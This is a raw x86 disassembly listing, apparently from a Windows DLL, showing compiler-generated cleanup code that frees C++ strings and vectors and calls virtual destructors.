cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x180]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x1008c207
mov ecx, dword [ebp - 0x194]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c1fd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x198]
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0xf
mov byte [ebp - 0x194], 0
cmp edx, 0x10
jb 0x1008c25c
mov ecx, dword [ebp - 0x1ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c252
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x198], 0xf
mov byte [ebp - 0x1ac], 0
cmp edx, 0x10
jb 0x1008c2b1
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c2a7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008c306
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c2fc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x80]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x68]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ebx, dword [ebp - 0xc]
inc dword [0x100ff970]
mov edi, dword [ebp - 0xc8]
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xc4]
sub ecx, edi
imul ecx
lea eax, [ebp - 0xa4]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmovne eax, edi
mov edx, dword [eax]
lea eax, [ebp - 0xa4]
sub edx, dword [ebp - 0xd0]
test ecx, ecx
cmovne eax, edi
cmp byte [eax + 8], 0
je 0x1008c398
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edi, dword [ebp - 0x6c]
sub eax, ecx
add eax, edx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x1008b391
mov edi, dword [ebp - 0x6c]
xor eax, eax
xor ecx, ecx
sub eax, ecx
add eax, edx
mov edx, dword [ebp - 0x4c]
add esi, eax
mov eax, dword [ebp - 0x38]
jmp 0x1008b391
call dword [0x100ff924]
mov edx, dword [ebp - 0x84]
cmp edx, 0x10
jb 0x1008c3f0
mov ecx, dword [ebp - 0x98]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c3e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c643
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x54]
cmp edx, 0x10
jb 0x1008c424
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c41a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c643
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp edi, 0x10
jb 0x1008c455
mov ecx, dword [ebp - 0x80]
inc edi
mov eax, ecx
cmp edi, 0x1000
jb 0x1008c44b
mov ecx, dword [ecx - 4]
add edi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c643
push edi
push ecx
call fcn.100baf94
add esp, 8
mov esi, dword [ebp - 0xc8]
test esi, esi
je 0x1008c4c3
mov ecx, dword [ebp - 0xc0]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 2
cmp ecx, 0x1000
jb 0x1008c49b
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c643
push ecx
push esi
call fcn.100baf94
add esp, 8
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
lea ecx, [ebp - 0xe4]
call fcn.100aecb0
mov ecx, dword [ebp - 0xd4]
test ecx, ecx
je 0x1008c4e9
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1008c4e9
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0xf8]
call fcn.100aecb0
mov ecx, dword [ebp - 0xe8]
test ecx, ecx
je 0x1008c50f
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1008c50f
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x30]
call fcn.100aecb0
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x1008c52f
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, eax
test ecx, ecx
je 0x1008c52f
mov eax, dword [ecx]
push 1
call dword [eax]
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x1008c563
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c559
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c648
push edx
push ecx
call fcn.100baf94
add esp, 8
mov esi, dword [ebp - 0x144]
movups xmm0, xmmword [ebp - 0x1c]
mov edx, dword [ebp + 0x1c]
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [esi + 0x10], xmm0
cmp edx, 0x10
jb 0x1008c5ae
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c5a4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c634
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x1008c5f0
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c5e6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c634
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp edx, 0x10
jb 0x1008b120
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b116
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1008b116
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
call fcn.100c79a0
int3